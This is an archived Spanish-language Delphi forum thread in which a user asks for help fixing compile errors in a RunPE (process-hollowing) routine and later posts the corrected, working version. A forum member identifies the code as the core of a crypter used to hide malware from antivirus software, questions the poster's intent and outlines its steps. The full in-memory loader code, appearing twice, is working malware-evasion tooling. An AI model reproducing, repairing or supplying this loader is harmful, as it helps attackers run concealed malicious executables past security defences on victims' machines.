PDA

Ver la Versión Completa : Reparar varios errores en un codigo


JuanOrtega
19-02-2015, 00:52:36
Hola tengo el siguiente codigo que estoy estudiando en Delphi XE2 que me devuelve los siguientes errores :

[DCC Error] Unit1.pas(97): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(111): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(121): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(132): E2033 Types of actual and formal var parameters must be identical

El codigo :


unit Unit1;

interface

uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
HANDLE = THandle;
PVOID = Pointer;
LPVOID = Pointer;
SIZE_T = Cardinal;
ULONG_PTR = Cardinal;
NTSTATUS = LongInt;
LONG_PTR = Integer;

PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
ZwUnmapViewOfSection :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
ProcessInfo :TProcessInformation;
StartupInfo :TStartupInfo;
Context :TContext;
BaseAddress :Pointer;
BytesRead :DWORD;
BytesWritten :DWORD;
I :ULONG;
OldProtect :ULONG;
NTHeaders :PImageNTHeaders;
Sections :PImageSectionHeaders;
Success :Boolean;
ProcessName :string;

Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;

Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
@ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
ProcessName := ParamStr(0);

FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);

StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
if Visible Then
StartupInfo.wShowWindow := SW_NORMAL
else
StartupInfo.wShowWindow := SW_Hide;

If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
Begin
Success := True;
Result := ProcessInfo;

Try
Context.ContextFlags := CONTEXT_INTEGER;
If (GetThreadContext(ProcessInfo.hThread, Context) And
(ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesRead)) And
(ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
(Assigned(Buffer))) Then
Begin
NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
Pointer(NTHeaders.OptionalHeader.ImageBase),
NTHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE);

If (Assigned(BaseAddress)) And
(WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
NTHeaders.OptionalHeader.SizeOfHeaders,
BytesWritten)) Then
Begin
Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));

For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[I].VirtualAddress),
Pointer(Cardinal(Buffer) +
Sections[I].PointerToRawData),
Sections[I].SizeOfRawData, BytesWritten)) Then
VirtualProtectEx(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[I].VirtualAddress),
Sections[I].Misc.VirtualSize,
Protect(Sections[I].Characteristics),
OldProtect);


If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Context.Ebx + 8), @BaseAddress,
SizeOf(BaseAddress), BytesWritten)) Then
Begin
Context.EAX := ULONG(BaseAddress) +
NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadContext(ProcessInfo.hThread, Context);
End;
End;
End;
Finally
If (Not Success) Then
TerminateProcess(ProcessInfo.hProcess, 0)
else
ResumeThread(ProcessInfo.hThread);
End;
End;
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('test');
end;

end.


La verdad no entiendo a que se debe este error , y se repite en varias lineas , ¿ como fixeo este error ?

escafandra
19-02-2015, 01:50:06
Me llama la atención lo sencillo que resulta detectar y corregir los errores a la par de lo sofisticado del código. No se si sabes lo que realiza dicho código, por otra parte incoherente con el resto de la aplicación, yo si se lo que realiza y por tu pregunta deduzco que no lo has escrito tu, un copy-paste con un par de errores que un principiante detecta y corrige casi al vuelo.

Dime una cosa, ¿que pretendes hacer con ese código?


Saludos.

JuanOrtega
19-02-2015, 18:25:07
como buen principiante ya resolvi el problema , gracias por la ayuda.

Saludos.

dec
19-02-2015, 18:48:37
Hola,

como buen principiante ya resolvi el problema , gracias por la ayuda.

Saludos.

Es costumbre del foro aportar la solución cuando uno la encuentre, incluso si se trata de una solución para su propia pregunta.

Casimiro Notevi
19-02-2015, 19:02:45
GUÍA ALTERNATIVA

No te preocupes por dónde colocar tus preguntas. A nosotros nos encanta abrir todos los mensajes sin importar en qué foro estén.
Ni pienses qué título ponerle a tu mensaje. "Tengo una duda" es suficiente para que nosostros entendamos que estás en problemas.
Cuando te aparezca un mensaje de error, no te molestes en decirnos cuál es. Nos encanta tratar de adivinar.
Cuando publiques código no te preocupes porque quede bien presentado. Nosotros distinguimos perfectamente los bloques sin necesidad de ninguna indentación.
Si tienes un problema con bases de datos no es necesario que nos digas qué motor usas, nosotros sabemos la respuesta para cualquiera de ellos.
Si no se entiende lo que preguntas, ni te molestes en aclarar. Nos fascinan los misterios.
No te esfuerces en oprimir F1. Nosotros ya lo hemos hecho y podemos darte la respuesta más rápido.
La opción de búsqueda en los foros sólo está para adornar la página. Es divertidísimo contestar una y otra vez lo mismo.
¿Google? Eso es para nerds como nosotros.
Ante un problema, no te molestes en tratar de entenderlo. Nosotros ya nos hemos quemado las pestañas por ti y estamos felices de escribirte el código.
Si te plase, eskribe con kas y faltas de hortografia. Komo nosotros no entramos a los chats nos hencanta pensar ke estamos en 1.
Si en cinco minutos nadie te ha contestado, siéntete en libertad de abrir cuantos hilos puedas para preguntar lo mismo. Tú no mereces ese trato.
Nunca des las gracias. Nos encanta responder sin más aliciente que ver nuestro nombre escrito.
Cuando escribas un mensaje, siéntete en libertad de no volver en tres semanas. Nosotros estaremos aquí resolviendo tu problema.
Si eres nuevo, acláralo desde el principio. Con eso basta para que nosotros resolvamos tu problema. Tú aún no puedes consultar la ayuda.
Si alguien te remite a la guía de estilo, no te molestes en leerla. Tú tienes cosas más importantes que hacer y a fin de cuentas, nadie la lee.
Si encuentras la solución tú mismo, no te molestes en explicarla. Bastará con un "Ya lo resolví, gracias". Nos emociona ver gente autosuficiente.
No dudes en pedir que te envíen la solución a tu correo. El foro está sólo para los ociosos y tú no tienes tiempo que perder.:p

roman
19-02-2015, 19:24:04
No sé. Supongo que será fácil encontrar y corregir el error pero por más que le busco no encuentro los dichosos var parameters :o :eek: :rolleyes:

pd: ha de ser la senectud temprana :p

// Saludos

JuanOrtega
19-02-2015, 19:34:14
ajajajaj , tranquilos no se pongan asi , solo que pense que nadie habia leido este post aca les dejo la solucion :

unit Unit1;

interface

uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

Function MemoryExecute(Buffer: Pointer; Parameters: String; Visible: Boolean)
: TProcessInformation;
type

PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = Array [0 .. 95] Of TImageSectionHeader;
Var
ZwUnmapViewOfSection: Function(ProcessHandle: THANDLE; BaseAddress: Pointer)
: LongInt; stdcall;
ProcessInfo: TProcessInformation;
StartupInfo: TStartupInfo;
Context: TContext;
BaseAddress: Pointer;
BytesRead: SIZE_T;
BytesWritten: SIZE_T;
I: ULONG;
OldProtect: ULONG;
NTHeaders: PImageNTHeaders;
Sections: PImageSectionHeaders;
Success: Boolean;
ProcessName: string;

Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionHeader(ULONG_PTR(@NTHeader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;

Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping: Array [0 .. 7] Of ULONG = (PAGE_NOACCESS, PAGE_EXECUTE,
PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE,
PAGE_READWRITE, PAGE_EXECUTE_READWRITE);
Begin
Result := Mapping[Characteristics SHR 29];
End;

Begin
@ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'),
'ZwUnmapViewOfSection');
ProcessName := ParamStr(0);

FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);

StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
if Visible Then
StartupInfo.wShowWindow := SW_NORMAL
else
StartupInfo.wShowWindow := SW_Hide;

If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL, False,
CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
Begin
Success := True;
Result := ProcessInfo;

Try
Context.ContextFlags := CONTEXT_INTEGER;
If (GetThreadContext(ProcessInfo.hThread, Context) And
(ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesRead)) And
(ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
(Assigned(Buffer))) Then
Begin
NTHeaders := PImageNTHeaders(Cardinal(Buffer) +
Cardinal(PImageDosHeader(Buffer)._lfanew));
BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
Pointer(NTHeaders.OptionalHeader.ImageBase),
NTHeaders.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE);

If (Assigned(BaseAddress)) And
(WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
NTHeaders.OptionalHeader.SizeOfHeaders, BytesWritten)) Then
Begin
Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));

For I := 0 To NTHeaders.FileHeader.NumberOfSections - 1 Do
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) + Sections[I].VirtualAddress),
Pointer(Cardinal(Buffer) + Sections[I].PointerToRawData),
Sections[I].SizeOfRawData, BytesWritten)) Then
VirtualProtectEx(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) + Sections[I].VirtualAddress),
Sections[I].Misc.VirtualSize,
Protect(Sections[I].Characteristics), OldProtect);

If (WriteProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesWritten)) Then
Begin
Context.EAX := ULONG(BaseAddress) +
NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadContext(ProcessInfo.hThread, Context);
End;
End;
End;
Finally
If (Not Success) Then
TerminateProcess(ProcessInfo.hProcess, 0)
else
ResumeThread(ProcessInfo.hThread);
End;
End;
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('error');
end;

end.

escafandra
19-02-2015, 20:30:47
No sé. Supongo que será fácil encontrar y corregir el error pero por más que le busco no encuentro los dichosos var parameters :o :eek: :rolleyes:

pd: ha de ser la senectud temprana :p

// Saludos


BytesRead WORD;
BytesWritten WORD;

Fallo de sintaxis y de tipo. Deben ser DWORD

El código es un RunPE. Ejecuta desde RAM un bloque de memoria que aloje un ejecutable, la base de un crypter. Por eso me mostré tan escéptico con el tema. Estoy seguro que Lepuke no comprende ese código aunque si entiende para que sirve, por eso lo copió.

Saludos.

roman
19-02-2015, 20:34:55
Estoy de acuerdo contigo (y mira que yo tampoco sé que es ese código) :)

Los var parameter no los veía porque, de hecho no están ahí ¿no? Supongo que están declarados en alguna de las funciones que utilizan las variables que mencionas.

// Saludos

escafandra
19-02-2015, 20:50:11
Los var parameter no los veía porque, de hecho no están ahí ¿no? Supongo que están declarados en alguna de las funciones que utilizan las variables que mencionas.

Simplemente estaban equivocados los tipos, por eso el compilador protestaba, "no son idénticos"

Saludos.

JuanOrtega
19-02-2015, 21:20:07
por eso lo copió.


¿ Que ? , nunca dije que el codigo era mio , dije que lo estaba estudiando no se que por haces tanto lio con ese tema y ni hablar cuando dijiste que yo no nisiquiera era un simple principiante.
deberias medir tus palabras yo les estoy hablando a todos con respeto y no los trato de ignorantes o rippers como lo estas haciendo conmigo.

escafandra
19-02-2015, 23:14:21
¿ Que ? , nunca dije que el codigo era mio , dije que lo estaba estudiando..
Cierto, nunca dijiste que el código era tuyo pero tampoco que lo estuvieras estudiando, simplemente preguntaste una duda, la duda que te impedía compilarlo.

... cuando dijiste que yo no nisiquiera era un simple principiante.
No dije que fueras principiante, dije que el código tenía "un par de errores que un principiante detecta y corrige casi al vuelo", y de hecho tu mismo has encontrado ese par de errores, dos variables cambiadas de tipo y sintácticamente mal escritas, probablemente los introdujiste tú mismo al desconocer los tipos que las APIs esperaban encontrar, por eso deduje que no entendías el código.

deberias medir tus palabras yo les estoy hablando a todos con respeto y no los trato de ignorantes o rippers como lo estas haciendo conmigo.
No quise ofenderte, pero estarás de acuerdo conmigo en que ese tipo de código puede resultar peligroso, según, como y quién lo use. No preguntaste nada sobre su funcionamiento real, sino una simple duda de tipos, parece que es lo que realmente te interesaba y eso me puso en alerta.

Para experimentar se debe saber bien lo que estás haciendo y entender a fondo el código, sobre todo, si como dices, pretendes estudiarlo. Para ese propósito de nada te servirá tener un código que hace cosas "especiales" y usarlo sin entenderlo.

No es que piense mal de ti en concreto, espero que seas sensato, pero todavía no contestaste a mi pregunta inicial, ¿que piensas hacer con ese código?


Saludos.

Casimiro Notevi
19-02-2015, 23:30:37
Paz y amor
||-||

escafandra
19-02-2015, 23:32:04
Ya entrados en el asunto y para saciar curiosidades, el código funciona de la siguiente manera:

1. Se pretende ejecutar un programa cargado en memoria y no desde un archivo.
2. Crea un nuevo proceso suspendido, en este caso una copia del mismo que se está ejecutando.
3. En el espacio de memoria del nuevo proceso se copian todas las secciones del PE del proceso "escondido en memoria" que pretendemos ejecutar.
4. Terminado este proceso, localizamos el nuevo punto de entrada a nuestro "binario escondido" y ajustamos el Contexto del nuevo proceso alterado para asignarle el nuevo punto de entrada.
5. Para finalizar reactivamos el hilo principal que estaba suspendido hasta este momento.

El método es ingenioso y su conocimiento una simple curiosidad técnica.

El tema es que el uso de estas técnicas se circunscribe a esconder binarios a los ojos de los antivirus, no tiene otro sentido. Esos binarios pueden suelen encriptados para aumentar su invisibilidad, en definitiva su utilidad es para realizar crypters que escondan virus o código malicioso.



Saludos.

escafandra
19-02-2015, 23:34:13
Mientras escribía Casimiro Notevi dejó este mensaje:
Paz y amor
||-||

||-||

Saludos.

JuanOrtega
19-02-2015, 23:36:21
Cierto, nunca dijiste que el código era tuyo

Hola tengo el siguiente codigo que estoy estudiando en Delphi XE2 que me devuelve los siguientes errores :

¿que piensas hacer con ese código?

simple curiosidad de como funciona.

escafandra
19-02-2015, 23:46:03
La curiosidad es buena y estimulante.

Ya he expuesto el resumen de su funcionamiento, ahora te toca estudiar mucho sobre el formato PE, sobre las estructuras que lo componen, así como alcanzar un profundo conocimiento de la API de Windows.


Saludos.

nlsgarcia
20-02-2015, 00:09:22
escafandra,


...Ya he expuesto el resumen de su funcionamiento...
^\||/

Nelson.

roman
20-02-2015, 03:10:53
Ya entrados en el asunto y para saciar curiosidades, el código funciona de la siguiente manera:

1. Se pretende ejecutar un programa cargado en memoria y no desde un archivo.
2. Crea un nuevo proceso suspendido, en este caso una copia del mismo que se está ejecutando.
3. En el espacio de memoria del nuevo proceso se copian todas las secciones del PE del proceso "escondido en memoria" que pretendemos ejecutar.
4. Terminado este proceso, localizamos el nuevo punto de entrada a nuestro "binario escondido" y ajustamos el Contexto del nuevo proceso alterado para asignarle el nuevo punto de entrada.
5. Para finalizar reactivamos el hilo principal que estaba suspendido hasta este momento.



¡Ah! ¡Qué tiempos aquellos del for i:=1 to 10 writeln('hola');

Impresionante. La verdad, mis respetos escafandra :)

// Saludos